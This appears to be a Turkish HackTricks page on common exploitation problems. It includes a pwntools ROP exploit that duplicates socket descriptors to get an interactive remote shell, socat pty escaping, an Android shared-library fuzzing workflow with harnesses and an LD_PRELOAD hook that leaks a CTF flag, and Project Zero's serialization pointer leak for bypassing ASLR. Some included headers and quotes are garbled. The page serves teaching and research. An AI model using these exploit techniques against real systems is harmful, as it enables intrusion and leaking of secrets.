Yaygın Exploiting Problemleri
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
FDs in Remote Exploitation
Örneğin system('/bin/sh') çağıran bir exploit’i remote server’a gönderdiğinizde, bu elbette server process’inde çalıştırılacak ve /bin/sh input’u stdin (FD: 0) üzerinden bekleyecek ve çıktıyı stdout ve stderr (FDs 1 ve 2) üzerinde yazdıracaktır. Bu yüzden attacker shell ile etkileşim kuramaz.
Bunu düzeltmenin bir yolu, server başlarken FD number 3’ü (for listening) oluşturduğunu ve ardından sizin connection’unuzun FD number 4 olacağını varsaymaktır. Bu nedenle, syscall dup2’yi kullanarak stdin (FD 0) ve stdout (FD 1)’i attacker’ın connection’unun olduğu FD 4’e çoğaltmak mümkün olur; böylece shell çalıştırıldığında ona bağlanmak mümkün hale gelir.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Unutmayın ki socat zaten stdin ve stdout’u sokete aktarır. Ancak, pty modu DELETE karakterlerini içerir. Yani bir \x7f ( DELETE -) gönderirseniz, exploit’inizdeki önceki karakteri silecektir.
Bunu aşmak için gönderilen her \x7f’den önce escape karakteri \x16 eklenmelidir.
Burada bu davranışın bir örneğini bulabilirsiniz.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
Bir Android uygulaması yalnızca stripped AArch64 .so ile dağıtıldığında, APK’yı yeniden derlemeden cihaz üzerinde exported logic’i doğrudan fuzzing ile test edebilirsiniz. Pratik bir iş akışı:
- Çağrılabilir giriş noktalarını bulun.
objdump -T libvalidate.so | grep -E "validate"export edilen fonksiyonları hızlıca listeler. Decompilerlar (Ghidra, IDA, BN) gerçek imzayı ortaya çıkarır, örn.int validate(const uint8_t *buf, uint64_t len). - Bağımsız bir harness yazın. Bir dosya yükleyin, buffer’ı canlı tutun ve exported symbol’ü uygulamanın yapacağı şekilde tam olarak çağırın. NDK ile cross-compile edin (örn.
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimal dosya-tabanlı harness
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **Beklenen yapıyı yeniden oluşturun.** Ghidra'daki hata dizeleri ve karşılaştırmalar, fonksiyonun sabit anahtarlara sahip katı JSON parse ettiğini gösteriyordu (`magic`, `version`, iç içe `root.children.*`) ve aritmetik kontroller (ör. `value * 2 == 84` ⇒ `value` `42` olmalı). Sentaktik olarak geçerli JSON'u, her dalı kademeli olarak tatmin edecek şekilde beslemek, enstrümantasyon olmadan şemayı haritalamanızı sağlar.
4. **Anti-debug'i atlayarak gizli bilgileri leak edin.** Çünkü `.so` `snprintf`'yi import ediyor; `LD_PRELOAD` ile onu override ederek breakpoints engellendiğinde bile hassas format dizelerini dump edebilirsiniz:
<details>
<summary>Minimal snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json internal flag’ı sızdırır ve binary’yi patch’lemeden crash oracle’ı doğrular.
5. Shrink the fuzz space. Disassembly, flag karşılaştırmasında yeniden kullanılan bir XOR anahtarını ortaya çıkardı; bu da flag’in ilk yedi baytının bilindiği anlamına geliyordu. Sadece dokuz bilinmeyen baytı fuzz’la.
6. Embed fuzz bytes inside a valid JSON envelope. AFL harness’ı stdin’den tam olarak dokuz bayt okur, bunları flag suffix’ine kopyalar ve diğer tüm alanları (constants, tree depths, arithmetic preimage) hard-code eder. Herhangi bir hatalı okuma programdan çıkışa neden olur; bu yüzden AFL zamanını anlamlı test vakalarına harcar:
Minimal AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** Her semantik kontrolü geçen ve doğru dokuz baytlık suffix'i tahmin eden herhangi bir girdi kasıtlı çöküşü tetikler; bu dosyalar `output/crashes` içine düşer ve basit harness üzerinden replay edilerek sırrı geri almak için kullanılabilir.
Bu iş akışı, anti-debug korumalı JNI doğrulayıcılarını hızlıca triage etmenizi, gerektiğinde leak secrets yapmanızı ve ardından sadece anlamlı baytları fuzz etmenizi sağlar; tüm bunları orijinal APK'ya dokunmadan gerçekleştirebilirsiniz.
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
Kötü amaçlı kamera formatları genellikle kendi bytecode'larını (opcode lists, map tables, tone curves) içerir. Ayrıntılardan türetilen boyutlara veya plane index'lerine karşı bound-check yapmayan ayrıcalıklı bir decoder olduğunda, bu opcode'lar saldırgan kontrollü read/write primitives haline gelir; heap'i groom etmek, pointer'ları pivotlamak veya hatta leak ASLR yapmak için kullanılabilir. Samsung'un gerçek dünyadaki Quram exploit'i, `DeltaPerColumn` bounds hatasını zincirleyip atlanan opcode'lar ile heap spraying yapma, vtable remapping ve `system()` çağıran bir JOP zinciri kurma örneğidir.
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
### Requirements & attack surface
- Bir servis, saldırgan kontrollü property list'leri (XML veya binary) kabul eder ve permissive bir allowlist ile `NSKeyedUnarchiver.unarchivedObjectOfClasses` çağırır (ör. `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- Ortaya çıkan nesneler yeniden kullanılır ve daha sonra tekrar `NSKeyedArchiver` ile serialize edilir (veya deterministik bucket sırası ile iterate edilir) ve saldırgana geri gönderilir.
- Konteynerlerdeki bazı anahtar türleri hash kodu olarak pointer değerlerini kullanır. March 2025'ten önce, `CFNull`/`NSNull` `CFHash(object) == (uintptr_t)object`'a geri dönerdi ve deserialization her zaman shared-cache singleton'ı `kCFNull` döndürerek bellek bozulması veya timing olmadan kararlı bir kernel-paylaşılan pointer sağlıyordu.
### Controllable hashing primitives
- **Pointer-based hashing:** `CFNull`’ın `CFRuntimeClass`'ı bir hash callback içermediği için `CFBasicHash` obje adresini hash olarak kullanır. Singleton, yeniden başlatmaya kadar sabit bir shared-cache adresinde yaşadığı için hash süreçler arası kararlıdır.
- **Attacker-controlled hashes:** 32-bit `NSNumber` anahtarları `_CFHashInt` üzerinden hashlenir; bu fonksiyon deterministik ve saldırgan kontrollüdür. Belirli tamsayıları seçmek, saldırganın istenen tablo boyutu için `hash(number) % num_buckets` değerini seçmesine izin verir.
- **`NSDictionary` implementation:** Immutable dictionary'ler bir `CFBasicHash` gömülü olarak taşır ve bucket sayısı `__CFBasicHashTableSizes`'tan seçilen asal sayılardan biri olur (ör. 23, 41, 71, 127, 191, 251, 383, 631, 1087). Çakışmalar linear probing (`__kCFBasicHashLinearHashingValue`) ile ele alınır ve serialization bucket'ları sayısal sırayla gezer; bu yüzden serialize edilen anahtarların sırası, her anahtarın sonunda hangi bucket indeksini işgal ettiğini kodlar.
### Encoding bucket indices into serialization order
Bir plist oluşturarak bucket'ların dolu ve boş slotlar arasında dönüşümlü olduğu bir dictionary ortaya çıkaran saldırgan, linear probing'in `NSNull`'ı nereye yerleştirebileceğini kısıtlar. 7-bucket'lı bir örnek için, çift indeksli bucket'ları `NSNumber` anahtarları ile doldurmak şunu üretir:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
During deserialization kurban tek NSNull anahtarını ekler. Başlangıç bucket’ı hash(NSNull) % 7 olur, fakat probing açık indekslerden biri olan {1,3,5} bulunana kadar ilerler. The serialized key order reveals which slot was used, disclosing whether the pointer hash modulo 7 lies in {6,0,1}, {2,3}, or {4,5}. Çünkü saldırgan orijinal serialized sıralamayı kontrol ettiğinden, girdi plist’inde NSNull anahtarı son olarak yayımlanır; böylece post-reserialization sıralama yalnızca bucket yerleşiminin bir fonksiyonudur.
Tam kalanları tamamlayıcı tablolarla belirleme
Tek bir dictionary sadece bir kalan aralığını leaks eder. hash(NSNull) % p değerinin tam değerini belirlemek için, her asal bucket boyutu p için iki dictionary oluşturun: biri çift bucket’lar ön-doldurulmuş ve diğeri tek bucket’lar ön-doldurulmuş. Tamamlayıcı desen (_ # _ # _ # _) için, boş slotlar (0,2,4,6) kalan kümelerine {0}, {1,2}, {3,4}, {5,6} olarak eşlenir. NSNull’ın her iki dictionary’deki serialized konumunu gözlemlemek, iki aday kümenin kesişimi o p için benzersiz bir r_i verdiğinden kalanı tek bir değere daraltır.
Saldırgan tüm dictionary’leri bir NSArray içine paketler, böylece tek bir deserialize → serialize turu seçilen her tablo boyutu için kalanları leaks eder.
64-bit shared-cache pointer’ının yeniden oluşturulması
Her asal p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087} için saldırgan serialized sıralamadan hash(NSNull) ≡ r_i (mod p_i)’yi kurtarır. Çin Kalan Teoremi (CRT) ile genişletilmiş Öklid algoritmasını uygulamak şunu verir:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
öyle ki birleşik kalan, kCFNull’a işaret eden 64-bit pointer ile benzersiz olarak eşleşir. Project Zero PoC, ara modülleri yazdırırken kongruensleri yineleyerek gerçek adrese (0x00000001eb91ab60 zafiyetli build üzerinde) doğru yakınsamanın nasıl gerçekleştiğini gösterir.
Pratik iş akışı
- Özel girdi oluşturma: Saldırgan tarafı XML plist’ini oluşturun (her asal için iki dictionary,
NSNullson seri hale getirilmiş olarak) ve bunu binary formata çevirin.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Kurban tarafında dönüş: Hedef servis, izin verilen sınıflar kümesini kullanarak
NSKeyedUnarchiver.unarchivedObjectOfClassesile deserialize eder{NSDictionary, NSArray, NSNumber, NSString, NSNull}ve hemen ardındanNSKeyedArchiverile yeniden serileştirir. - Kalan çıkarımı: Dönen plist’i XML’e çevirerek dictionary anahtar sıralaması ortaya çıkar.
extract-pointer.cgibi bir yardımcı, object table’ı okur, singletonNSNull’ın indeksini belirler, her dictionary çiftini ilgili bucket kalanı ile eşler ve CRT sistemini çözerek shared-cache pointer’ı geri kazanır. - Doğrulama (isteğe bağlı):
CFHash(kCFNull)yazdıran küçük bir Objective-C yardımcı derlenerek leaked değerin gerçek adresle eşleştiği doğrulanır.
Bellek güvenliği hatası gerekmez—işaretçi-anahtarlı yapılarının serileştirme sırasını gözlemlemek uzak bir ASLR bypass ilkelini sağlar.
Related pages
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
References
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


